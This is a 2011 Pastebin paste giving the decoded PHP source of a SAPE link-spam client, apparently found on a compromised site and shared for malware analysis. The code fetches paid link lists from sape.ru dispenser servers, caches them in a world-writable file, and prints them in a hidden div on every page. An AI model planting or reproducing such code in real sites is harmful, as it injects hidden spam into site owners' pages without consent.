wayne_of_armorize

decode of: https://badwarebusters.org/main/itemview/25561

Jun 29th, 2011
160
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 26.54 KB | None | 0 0
  1. <?
  2.  
  3. define('_SAPE_USER', '770ea4ea58cde41a8418af0f2c1b9835');
  4.  
  5. $o['charset'] = 'UTF-8';
  6. //$o['force_show_code'] = true;
  7. //$o['request_uri'] =  $_SERVER['REQUEST_URI'];
  8. //$o['request_uri'] = $_SERVER['REDIRECT_URL'];
  9. //if ($_SERVER['REQUEST_URI']=="/index.php?option=com_content&Itemid=1&lang=en&view=frontpage") { $o['request_uri'] = "/"; }
  10. $sp = new SAPE_client($o);
  11.  
  12. echo "<div style=display:none></div>";
  13. echo "<div style=display:none>";
  14. echo $sp->return_links();
  15. echo "</div>\n";
  16.  
  17. class SAPE_base {
  18.     var $_version           = '1.0.7';
  19.     var $_verbose           = false;
  20.     var $_charset           = '';
  21.     var $_sape_charset      = '';
  22.     var $_server_list       = array('dispenser-01.sape.ru', 'dispenser-02.sape.ru');
  23.     var $_cache_lifetime    = 3600;
  24.     var $_cache_reloadtime  = 600;
  25.     var $_error             = '';
  26.     var $_host              = '';
  27.     var $_request_uri       = '';      
  28.     var $_multi_site        = false;
  29.     var $_fetch_remote_type = '';
  30.     var $_socket_timeout    = 6;
  31.     var $_force_show_code   = false;
  32.     var $_is_our_bot        = false;
  33.     var $_debug             = false;
  34.     var $_db_file           = '';
  35.     function SAPE_base($options = null) {
  36.         $host = '';
  37.         if (is_array($options)) {
  38.             if (isset($options['host'])) {
  39.                 $host = $options['host'];
  40.             }
  41.         } elseif (strlen($options)) {
  42.             $host = $options;
  43.             $options = array();
  44.         } else {
  45.             $options = array();
  46.         }
  47.         if (strlen($host)) {
  48.             $this->_host = $host;
  49.         } else {
  50.             $this->_host = $_SERVER['HTTP_HOST'];
  51.         }
  52.         $this->_host = preg_replace('/^http:\/\//', '', $this->_host);
  53.         $this->_host = preg_replace('/^www\./', '', $this->_host);
  54.         if (isset($options['request_uri']) && strlen($options['request_uri'])) {
  55.             $this->_request_uri = $options['request_uri'];
  56.         } else {
  57.             $this->_request_uri = $_SERVER['REQUEST_URI'];
  58.         }
  59.         if (isset($options['multi_site']) && $options['multi_site'] == true) {
  60.             $this->_multi_site = true;
  61.         }
  62.         if (isset($options['verbose']) && $options['verbose'] == true) {
  63.             $this->_verbose = true;
  64.         }
  65.         if (isset($options['charset']) && strlen($options['charset'])) {
  66.             $this->_charset = $options['charset'];
  67.         } else {
  68.             $this->_charset = 'windows-1251';
  69.         }
  70.         if (isset($options['fetch_remote_type']) && strlen($options['fetch_remote_type'])) {
  71.             $this->_fetch_remote_type = $options['fetch_remote_type'];
  72.         }
  73.         if (isset($options['socket_timeout']) && is_numeric($options['socket_timeout']) && $options['socket_timeout'] > 0) {
  74.             $this->_socket_timeout = $options['socket_timeout'];
  75.         }
  76.         if (isset($options['force_show_code']) && $options['force_show_code'] == true) {
  77.             $this->_force_show_code = true;
  78.         }
  79.         if (isset($options['debug']) && $options['debug'] == true) {
  80.             $this->_debug = true;
  81.         }
  82.  
  83.         if (!defined('_SAPE_USER')) {
  84.             return $this->raise_error('&#1053;&#1077; &#1079;&#1072;&#1076;&#1072;&#1085;&#1072; &#1082;&#1086;&#1085;&#1089;&#1090;&#1072;&#1085;&#1090;&#1072; _SAPE_USER');
  85.         }
  86.         if (isset($_COOKIE['sape_cookie']) && ($_COOKIE['sape_cookie'] == _SAPE_USER)) {
  87.             $this->_is_our_bot = true;
  88.             if (isset($_COOKIE['sape_debug']) && ($_COOKIE['sape_debug'] == 1)){
  89.                 $this->_debug = true;
  90.             }
  91.         } else {
  92.             $this->_is_our_bot = false;
  93.         }
  94.     }
  95.     function fetch_remote_file($host, $path) {
  96.         $user_agent = $this->_user_agent.' '.$this->_version;
  97.         @ini_set('allow_url_fopen',          1);
  98.         @ini_set('default_socket_timeout',   $this->_socket_timeout);
  99.         @ini_set('user_agent',               $user_agent);
  100.         if (
  101.             $this->_fetch_remote_type == 'file_get_contents'
  102.             ||
  103.             (
  104.                 $this->_fetch_remote_type == ''
  105.                 &&
  106.                 function_exists('file_get_contents')
  107.                 &&
  108.                 ini_get('allow_url_fopen') == 1
  109.             )
  110.         ) {
  111.             $this->_fetch_remote_type = 'file_get_contents';
  112.             if ($data = @file_get_contents('http://' . $host . $path)) {
  113.                 return $data;
  114.             }
  115.  
  116.         } elseif (
  117.             $this->_fetch_remote_type == 'curl'
  118.             ||
  119.             (
  120.                 $this->_fetch_remote_type == ''
  121.                 &&
  122.                 function_exists('curl_init')
  123.             )
  124.         ) {
  125.             $this->_fetch_remote_type = 'curl';
  126.             if ($ch = @curl_init()) {
  127.  
  128.                 @curl_setopt($ch, CURLOPT_URL,              'http://' . $host . $path);
  129.                 @curl_setopt($ch, CURLOPT_HEADER,           false);
  130.                 @curl_setopt($ch, CURLOPT_RETURNTRANSFER,   true);
  131.                 @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT,   $this->_socket_timeout);
  132.                 @curl_setopt($ch, CURLOPT_USERAGENT,        $user_agent);
  133.  
  134.                 if ($data = @curl_exec($ch)) {
  135.                     return $data;
  136.                 }
  137.  
  138.                 @curl_close($ch);
  139.             }
  140.         } else {
  141.             $this->_fetch_remote_type = 'socket';
  142.             $buff = '';
  143.             $fp = @fsockopen($host, 80, $errno, $errstr, $this->_socket_timeout);
  144.             if ($fp) {
  145.                 @fputs($fp, "GET {$path} HTTP/1.0\r\nHost: {$host}\r\n");
  146.                 @fputs($fp, "User-Agent: {$user_agent}\r\n\r\n");
  147.                 while (!@feof($fp)) {
  148.                     $buff .= @fgets($fp, 128);
  149.                 }
  150.                 @fclose($fp);
  151.  
  152.                 $page = explode("\r\n\r\n", $buff);
  153.  
  154.                 return $page[1];
  155.             }
  156.  
  157.         }
  158.         return $this->raise_error('&#1053;&#1077; &#1084;&#1086;&#1075;&#1091; &#1087;&#1086;&#1076;&#1082;&#1083;&#1102;&#1095;&#1080;&#1090;&#1100;&#1089;&#1103; &#1082; &#1089;&#1077;&#1088;&#1074;&#1077;&#1088;&#1091;: ' . $host . $path.', type: '.$this->_fetch_remote_type);
  159.     }
  160.     function _read($filename) {
  161.         $fp = @fopen($filename, 'rb');
  162.         @flock($fp, LOCK_SH);
  163.         if ($fp) {
  164.             clearstatcache();
  165.             $length = @filesize($filename);
  166.             $mqr = @get_magic_quotes_runtime();
  167.             @set_magic_quotes_runtime(0);
  168.             if ($length) {
  169.                 $data = @fread($fp, $length);
  170.             } else {
  171.                 $data = '';
  172.             }
  173.             @set_magic_quotes_runtime($mqr);
  174.             @flock($fp, LOCK_UN);
  175.             @fclose($fp);
  176.             return $data;
  177.         }
  178.         return $this->raise_error('&#1053;&#1077; &#1084;&#1086;&#1075;&#1091; &#1089;&#1095;&#1080;&#1090;&#1072;&#1090;&#1100; &#1076;&#1072;&#1085;&#1085;&#1099;&#1077; &#1080;&#1079; &#1092;&#1072;&#1081;&#1083;&#1072;: ' . $filename);
  179.     }
  180.     function _write($filename, $data) {
  181.  
  182.         $fp = @fopen($filename, 'ab');
  183.         if ($fp) {
  184.             if (flock($fp, LOCK_EX|LOCK_NB)) {
  185.         $length = strlen($data);
  186.         ftruncate($fp, 0);
  187.         @fwrite($fp, $data, $length);
  188.         @flock($fp, LOCK_UN);
  189.         @fclose($fp);
  190.  
  191.         if (md5($this->_read($filename)) != md5($data)) {
  192.             @unlink($filename);
  193.             return $this->raise_error('&#1053;&#1072;&#1088;&#1091;&#1096;&#1077;&#1085;&#1072; &#1094;&#1077;&#1083;&#1086;&#1089;&#1090;&#1085;&#1086;&#1089;&#1090;&#1100; &#1076;&#1072;&#1085;&#1085;&#1099;&#1093; &#1087;&#1088;&#1080; &#1079;&#1072;&#1087;&#1080;&#1089;&#1080; &#1074; &#1092;&#1072;&#1081;&#1083;: ' . $filename);
  194.         }
  195.         } else {
  196.         return false;
  197.         }
  198.  
  199.             return true;
  200.         }
  201.         return $this->raise_error('&#1053;&#1077; &#1084;&#1086;&#1075;&#1091; &#1079;&#1072;&#1087;&#1080;&#1089;&#1072;&#1090;&#1100; &#1076;&#1072;&#1085;&#1085;&#1099;&#1077; &#1074; &#1092;&#1072;&#1081;&#1083;: ' . $filename);
  202.     }
  203.     function raise_error($e) {
  204.  
  205.         $this->_error = '<p style="color: red; font-weight: bold;">SAPE ERROR: ' . $e . '</p>';
  206.  
  207.         if ($this->_verbose == true) {
  208.             print $this->_error;
  209.         }
  210.  
  211.         return false;
  212.     }
  213.     function load_data() {
  214.         $this->_db_file = $this->_get_db_file();
  215.  
  216.         if (!is_file($this->_db_file)) {
  217.             if (@touch($this->_db_file)) {
  218.                 @chmod($this->_db_file, 0666);    // &#1055;&#1088;&#1072;&#1074;&#1072; &#1076;&#1086;&#1089;&#1090;&#1091;&#1087;&#1072;
  219.             } else {
  220.                 return $this->raise_error('&#1053;&#1077;&#1090; &#1092;&#1072;&#1081;&#1083;&#1072; ' . $this->_db_file . '. &#1057;&#1086;&#1079;&#1076;&#1072;&#1090;&#1100; &#1085;&#1077; &#1091;&#1076;&#1072;&#1083;&#1086;&#1089;&#1100;. &#1042;&#1099;&#1089;&#1090;&#1072;&#1074;&#1080;&#1090;&#1077; &#1087;&#1088;&#1072;&#1074;&#1072; 777 &#1085;&#1072; &#1087;&#1072;&#1087;&#1082;&#1091;.');
  221.             }
  222.         }
  223.  
  224.         if (!is_writable($this->_db_file)) {
  225.             return $this->raise_error('&#1053;&#1077;&#1090; &#1076;&#1086;&#1089;&#1090;&#1091;&#1087;&#1072; &#1085;&#1072; &#1079;&#1072;&#1087;&#1080;&#1089;&#1100; &#1082; &#1092;&#1072;&#1081;&#1083;&#1091;: ' . $this->_db_file . '! &#1042;&#1099;&#1089;&#1090;&#1072;&#1074;&#1080;&#1090;&#1077; &#1087;&#1088;&#1072;&#1074;&#1072; 777 &#1085;&#1072; &#1087;&#1072;&#1087;&#1082;&#1091;.');
  226.         }
  227.         @clearstatcache();
  228.     $data = $this->_read($this->_db_file);
  229.         if (
  230.             !$this->_is_our_bot
  231.             &&
  232.             (
  233.                 filemtime($this->_db_file) < (time()-$this->_cache_lifetime)
  234.                 ||
  235.                 filesize($this->_db_file) == 0
  236.         ||
  237.         @unserialize($data) == false
  238.             )
  239.         ) {
  240.             // &#1063;&#1090;&#1086;&#1073;&#1099; &#1085;&#1077; &#1087;&#1086;&#1074;&#1077;&#1089;&#1080;&#1090;&#1100; &#1087;&#1083;&#1086;&#1097;&#1072;&#1076;&#1082;&#1091; &#1082;&#1083;&#1080;&#1077;&#1085;&#1090;&#1072; &#1080; &#1095;&#1090;&#1086;&#1073;&#1099; &#1085;&#1077; &#1073;&#1099;&#1083;&#1086; &#1086;&#1076;&#1085;&#1086;&#1074;&#1088;&#1077;&#1084;&#1077;&#1085;&#1085;&#1099;&#1093; &#1079;&#1072;&#1087;&#1088;&#1086;&#1089;&#1086;&#1074;
  241.             @touch($this->_db_file, (time() - $this->_cache_lifetime + $this->_cache_reloadtime));
  242.            
  243.             $path = $this->_get_dispenser_path();
  244.             if (strlen($this->_charset)) {
  245.                 $path .= '&charset=' . $this->_charset;
  246.             }
  247.             foreach ($this->_server_list as $i => $server){
  248.                 if ($data = $this->fetch_remote_file($server, $path)) {
  249.                     if (substr($data, 0, 12) == 'FATAL ERROR:') {
  250.                         $this->raise_error($data);
  251.                     } else {
  252.                         // [&#1087;&#1089;&#1077;&#1074;&#1076;&#1086;]&#1087;&#1088;&#1086;&#1074;&#1077;&#1088;&#1082;&#1072; &#1094;&#1077;&#1083;&#1086;&#1089;&#1090;&#1085;&#1086;&#1089;&#1090;&#1080;:
  253.                         $hash = @unserialize($data);
  254.                         if ($hash != false) {
  255.                             // &#1087;&#1086;&#1087;&#1099;&#1090;&#1072;&#1077;&#1084;&#1089;&#1103; &#1079;&#1072;&#1087;&#1080;&#1089;&#1072;&#1090;&#1100; &#1082;&#1086;&#1076;&#1080;&#1088;&#1086;&#1074;&#1082;&#1091; &#1074; &#1082;&#1077;&#1096;
  256.                             $hash['__sape_charset__'] = $this->_charset;
  257.                             $hash['__last_update__'] = time();
  258.                             $hash['__multi_site__'] =  $this->_multi_site;
  259.                             $hash['__fetch_remote_type__'] = $this->_fetch_remote_type;
  260.                             $hash['__php_version__'] = phpversion();
  261.                             $hash['__server_software__'] = $_SERVER['SERVER_SOFTWARE'];
  262.                            
  263.                             $data_new = @serialize($hash);
  264.                             if ($data_new) {
  265.                                 $data = $data_new;
  266.                             }
  267.                            
  268.                             $this->_write($this->_db_file, $data);
  269.                             break;
  270.                         }
  271.                     }
  272.                 }
  273.             }
  274.         }
  275.         if (strlen(session_id())) {
  276.             $session = session_name() . '=' . session_id();
  277.             $this->_request_uri = str_replace(array('?'.$session,'&'.$session), '', $this->_request_uri);
  278.         }
  279.  
  280.         $this->set_data(@unserialize($data));        
  281.     }
  282. }
  283. class SAPE_client extends SAPE_base {
  284.     var $_links_delimiter = '';
  285.     var $_links = array();
  286.     var $_links_page = array();
  287.     var $_user_agent = 'SAPE_Client PHP';
  288.     function SAPE_client($options = null) {
  289.         parent::SAPE_base($options);
  290.         $this->load_data();
  291.     }
  292.     function return_links($n = null, $offset = 0) {
  293.         if (is_array($this->_links_page)) {
  294.             $total_page_links = count($this->_links_page);
  295.  
  296.             if (!is_numeric($n) || $n > $total_page_links) {
  297.                 $n = $total_page_links;
  298.             }
  299.             $links = array();
  300.  
  301.             for ($i = 1; $i <= $n; $i++) {
  302.                 if ($offset > 0 && $i <= $offset) {
  303.                     array_shift($this->_links_page);
  304.                 } else {
  305.                     $links[] = array_shift($this->_links_page);
  306.                 }
  307.             }
  308.             $html = join($this->_links_delimiter, $links);
  309.             if (
  310.                 strlen($this->_charset) > 0
  311.                 &&
  312.                 strlen($this->_sape_charset) > 0
  313.                 &&
  314.                 $this->_sape_charset != $this->_charset
  315.                 &&
  316.                 function_exists('iconv')
  317.             ) {
  318.                 $new_html  = @iconv($this->_sape_charset, $this->_charset, $html);
  319.                 if ($new_html) {
  320.                     $html = $new_html;
  321.                 }
  322.             }
  323.             if ($this->_is_our_bot) {
  324.                 $html = '<sape_noindex>' . $html . '</sape_noindex>';
  325.             }
  326.             return $html;
  327.         } else {
  328.             return $this->_links_page;
  329.         }
  330.     }
  331.     function _get_db_file() {
  332.         if ($this->_multi_site) {
  333.             return dirname(__FILE__) . '/' . $this->_host . '.links.db';
  334.         } else {
  335.             return dirname(__FILE__) . '/links.db';
  336.         }
  337.     }
  338.     function _get_dispenser_path() {
  339.         return '/code.php?user=' . _SAPE_USER . '&host=' . $this->_host;
  340.     }
  341.     function set_data($data) {
  342.         $this->_links = $data;
  343.         if (isset($this->_links['__sape_delimiter__'])) {
  344.             $this->_links_delimiter = $this->_links['__sape_delimiter__'];
  345.         }
  346.         if (isset($this->_links['__sape_charset__'])) {
  347.             $this->_sape_charset = $this->_links['__sape_charset__'];
  348.         } else {
  349.             $this->_sape_charset = '';
  350.         }
  351.         if (@array_key_exists($this->_request_uri, $this->_links) && is_array($this->_links[$this->_request_uri])) {
  352.             $this->_links_page = $this->_links[$this->_request_uri];
  353.         } else {
  354.             if (isset($this->_links['__sape_new_url__']) && strlen($this->_links['__sape_new_url__'])) {
  355.                 if ($this->_is_our_bot || $this->_force_show_code){
  356.                     $this->_links_page = $this->_links['__sape_new_url__'];
  357.                 }
  358.             }
  359.         }
  360.     }
  361. }
  362. class SAPE_context extends SAPE_base {
  363.     var $_words = array();
  364.     var $_words_page = array();
  365.     var $_user_agent = 'SAPE_Context PHP';
  366.     var $_filter_tags = array('a', 'textarea', 'select', 'script', 'style', 'label', 'noscript' , 'noindex', 'button');
  367.     function SAPE_context($options = null) {
  368.         parent::SAPE_base($options);
  369.         $this->load_data();
  370.     }
  371.     function replace_in_text_segment($text){
  372.         $debug = '';
  373.         if ($this->_debug){
  374.             $debug .= "<!-- argument for replace_in_text_segment: \r\n".base64_encode($text)."\r\n -->";
  375.         }
  376.         if (count($this->_words_page) > 0) {
  377.  
  378.             $source_sentence = array();
  379.             if ($this->_debug) {
  380.                 $debug .= '<!-- sentences for replace: ';
  381.             }            
  382.             foreach ($this->_words_page as $n => $sentence){
  383.                 $special_chars = array(
  384.                     '&amp;' => '&',
  385.                     '&quot;' => '"',                
  386.                     '&#039;' => '\'',
  387.                     '&lt;' => '<',
  388.                     '&gt;' => '>'
  389.                 );
  390.                 $sentence = strip_tags($sentence);
  391.                 foreach ($special_chars as $from => $to){
  392.                     str_replace($from, $to, $sentence);
  393.                 }
  394.                 $sentence = htmlspecialchars($sentence);
  395.                 $sentence = preg_quote($sentence, '/');
  396.                 $replace_array = array();
  397.                 if (preg_match_all('/(&[#a-zA-Z0-9]{2,6};)/isU', $sentence, $out)){
  398.                     for ($i=0; $i<count($out[1]); $i++){
  399.                         $unspec = $special_chars[$out[1][$i]];
  400.                         $real = $out[1][$i];
  401.                         $replace_array[$unspec] = $real;
  402.                     }
  403.                 }                
  404.                 foreach ($replace_array as $unspec => $real){
  405.                     $sentence = str_replace($real, '(('.$real.')|('.$unspec.'))', $sentence);    
  406.                 }
  407.                 $source_sentences[$n] = str_replace(' ','((\s)|(&nbsp;))+',$sentence);
  408.                
  409.                 if ($this->_debug) {
  410.                     $debug .= $source_sentences[$n]."\r\n\r\n";
  411.                 }
  412.             }
  413.            
  414.             if ($this->_debug) {
  415.                 $debug .= '-->';
  416.             }            
  417.             $first_part = true;
  418.             if (count($source_sentences) > 0){
  419.  
  420.                 $content = '';
  421.                 $open_tags = array(); //&#1054;&#1090;&#1082;&#1088;&#1099;&#1090;&#1099;&#1077; &#1079;&#1072;&#1073;&#1072;&#1085;&#1077;&#1085;&#1099;&#1077; &#1090;&#1101;&#1075;&#1080;
  422.                 $close_tag = ''; //&#1053;&#1072;&#1079;&#1074;&#1072;&#1085;&#1080;&#1077; &#1090;&#1077;&#1082;&#1091;&#1097;&#1077;&#1075;&#1086; &#1079;&#1072;&#1082;&#1088;&#1099;&#1074;&#1072;&#1102;&#1097;&#1077;&#1075;&#1086; &#1090;&#1101;&#1075;&#1072;
  423.                 $part = strtok(' '.$text, '<');
  424.  
  425.                 while ($part !== false){
  426.                     if (preg_match('/(?si)^(\/?[a-z0-9]+)/', $part, $matches)){
  427.                         $tag_name = strtolower($matches[1]);
  428.                         if (substr($tag_name,0,1) == '/'){
  429.                             $close_tag = substr($tag_name, 1);
  430.                             if ($this->_debug) {
  431.                               $debug .= '<!-- close_tag: '.$close_tag.' -->';
  432.                             }
  433.                         } else {
  434.                             $close_tag = '';
  435.                             if ($this->_debug) {
  436.                               $debug .= '<!-- open_tag: '.$tag_name.' -->';
  437.                             }
  438.                         }
  439.                         $cnt_tags = count($open_tags);
  440.                         if (($cnt_tags  > 0) && ($open_tags[$cnt_tags-1] == $close_tag)){
  441.                             array_pop($open_tags);
  442.                             if ($this->_debug) {
  443.                                 $debug .= '<!-- '.$tag_name.' - deleted from open_tags -->';
  444.                             }
  445.                             if ($cnt_tags-1 ==0){
  446.                                 if ($this->_debug) {
  447.                                     $debug .= '<!-- start replacement -->';
  448.                                 }
  449.                             }
  450.                         }
  451.                         if (count($open_tags) == 0){
  452.                             if (!in_array($tag_name, $this->_filter_tags)){
  453.                                 $split_parts = explode('>', $part, 2);
  454.                                 if (count($split_parts) == 2){
  455.                                     foreach ($source_sentences as $n => $sentence){
  456.                                         if (preg_match('/'.$sentence.'/', $split_parts[1]) == 1){
  457.                                             $split_parts[1] = preg_replace('/'.$sentence.'/', str_replace('$','\$', $this->_words_page[$n]), $split_parts[1], 1);
  458.                                             if ($this->_debug) {
  459.                                                 $debug .= '<!-- '.$sentence.' --- '.$this->_words_page[$n].' replaced -->';
  460.                                             }
  461.                                             unset($source_sentences[$n]);
  462.                                             unset($this->_words_page[$n]);                                            
  463.                                         }
  464.                                     }
  465.                                     $part = $split_parts[0].'>'.$split_parts[1];
  466.                                     unset($split_parts);
  467.                                 }
  468.                             } else {
  469.                                 $open_tags[] = $tag_name;
  470.                                 if ($this->_debug) {
  471.                                     $debug .= '<!-- '.$tag_name.' - added to open_tags, stop replacement -->';
  472.                                 }
  473.                             }
  474.                         }
  475.                     } else {
  476.                         foreach ($source_sentences as $n => $sentence){
  477.                              if (preg_match('/'.$sentence.'/', $part) == 1){
  478.                                 $part = preg_replace('/'.$sentence.'/',  str_replace('$','\$', $this->_words_page[$n]), $part, 1);
  479.  
  480.                                 if ($this->_debug) {
  481.                                     $debug .= '<!-- '.$sentence.' --- '.$this->_words_page[$n].' replaced -->';
  482.                                 }
  483.                                 unset($source_sentences[$n]);
  484.                                 unset($this->_words_page[$n]);                                
  485.                             }
  486.                         }
  487.                     }
  488.                     if ($this->_debug) {
  489.                         $content .= $debug;
  490.                         $debug = '';
  491.                     }
  492.                     if ($first_part ){
  493.                         $content .= $part;
  494.                         $first_part = false;
  495.                     } else {
  496.                         $content .= $debug.'<'.$part;
  497.                     }
  498.                     unset($part);
  499.                     $part = strtok('<');
  500.                 }
  501.                 $text = ltrim($content);
  502.                 unset($content);
  503.             }
  504.     } else {
  505.         if ($this->_debug) {
  506.             $debug .= '<!-- No word`s for page -->';
  507.         }
  508.     }
  509.  
  510.     if ($this->_debug) {
  511.         $debug .= '<!-- END: work of replace_in_text_segment() -->';
  512.     }
  513.  
  514.     if ($this->_is_our_bot || $this->_force_show_code || $this->_debug) {
  515.         $text = '<sape_index>'.$text.'</sape_index>';
  516.         if (isset($this->_words['__sape_new_url__']) && strlen($this->_words['__sape_new_url__'])){
  517.                 $text .= $this->_words['__sape_new_url__'];
  518.         }
  519.     }
  520.  
  521.     if ($this->_debug) {
  522.         if (count($this->_words_page) > 0) {
  523.             $text .= '<!-- Not replaced: '."\r\n";
  524.            foreach ($this->_words_page as $n => $value){
  525.                $text .= $value."\r\n\r\n";
  526.            }
  527.            $text .= '-->';
  528.         }
  529.        
  530.         $text .= $debug;
  531.     }
  532.         return $text;
  533.     }
  534.  
  535.     function replace_in_page(&$buffer) {
  536.  
  537.         if (count($this->_words_page) > 0) {
  538.                  $split_content = preg_split('/(?smi)(<\/?sape_index>)/', $buffer, -1);
  539.                  $cnt_parts = count($split_content);
  540.                  if ($cnt_parts > 1){
  541.                      if ($cnt_parts >= 3){
  542.                          for ($i =1; $i < $cnt_parts; $i = $i + 2){
  543.                              $split_content[$i] = $this->replace_in_text_segment($split_content[$i]);
  544.                          }
  545.                      }
  546.                     $buffer = implode('', $split_content);
  547.                      if ($this->_debug){
  548.                          $buffer .= '<!-- Split by Sape_index cnt_parts='.$cnt_parts.'-->';
  549.                      }
  550.                  } else {
  551.                      $split_content = preg_split('/(?smi)(<\/?body[^>]*>)/', $buffer, -1, PREG_SPLIT_DELIM_CAPTURE);
  552.                      if (count($split_content) == 5){
  553.                          $split_content[0] = $split_content[0].$split_content[1];
  554.                          $split_content[1] = $this->replace_in_text_segment($split_content[2]);
  555.                          $split_content[2] = $split_content[3].$split_content[4];
  556.                          unset($split_content[3]);
  557.                          unset($split_content[4]);
  558.                          $buffer = $split_content[0].$split_content[1].$split_content[2];
  559.                          if ($this->_debug){
  560.                              $buffer .= '<!-- Split by BODY -->';
  561.                          }
  562.                      } else {
  563.                         //&#1045;&#1089;&#1083;&#1080; &#1085;&#1077; &#1085;&#1072;&#1096;&#1083;&#1080; sape_index &#1080; &#1085;&#1077; &#1089;&#1084;&#1086;&#1075;&#1083;&#1080; &#1088;&#1072;&#1079;&#1073;&#1080;&#1090;&#1100; &#1087;&#1086; body
  564.                          if ($this->_debug){
  565.                              $buffer .= '<!-- Can`t split by BODY -->';
  566.                          }
  567.                      }
  568.                  }
  569.         } else {
  570.             if (!$this->_is_our_bot && !$this->_force_show_code && !$this->_debug){
  571.                 $buffer = preg_replace('/(?smi)(<\/?sape_index>)/','', $buffer);
  572.             } else {
  573.                 if (isset($this->_words['__sape_new_url__']) && strlen($this->_words['__sape_new_url__'])){
  574.                         $buffer .= $this->_words['__sape_new_url__'];
  575.                 }
  576.             }
  577.             if ($this->_debug){
  578.                $buffer .= '<!-- No word`s for page -->';
  579.             }
  580.         }
  581.         return $buffer;
  582.     }
  583.     function _get_db_file() {
  584.         if ($this->_multi_site) {
  585.             return dirname(__FILE__) . '/' . $this->_host . '.words.db';
  586.         } else {
  587.             return dirname(__FILE__) . '/words.db';
  588.         }
  589.     }
  590.     function _get_dispenser_path() {
  591.         return '/code_context.php?user=' . _SAPE_USER . '&host=' . $this->_host;
  592.     }
  593.     function set_data($data) {
  594.         $this->_words = $data;
  595.         if (@array_key_exists($this->_request_uri, $this->_words) && is_array($this->_words[$this->_request_uri])) {
  596.             $this->_words_page = $this->_words[$this->_request_uri];
  597.         }
  598.     }
  599. }
  600. ?>
Add Comment
Please, Sign In to add comment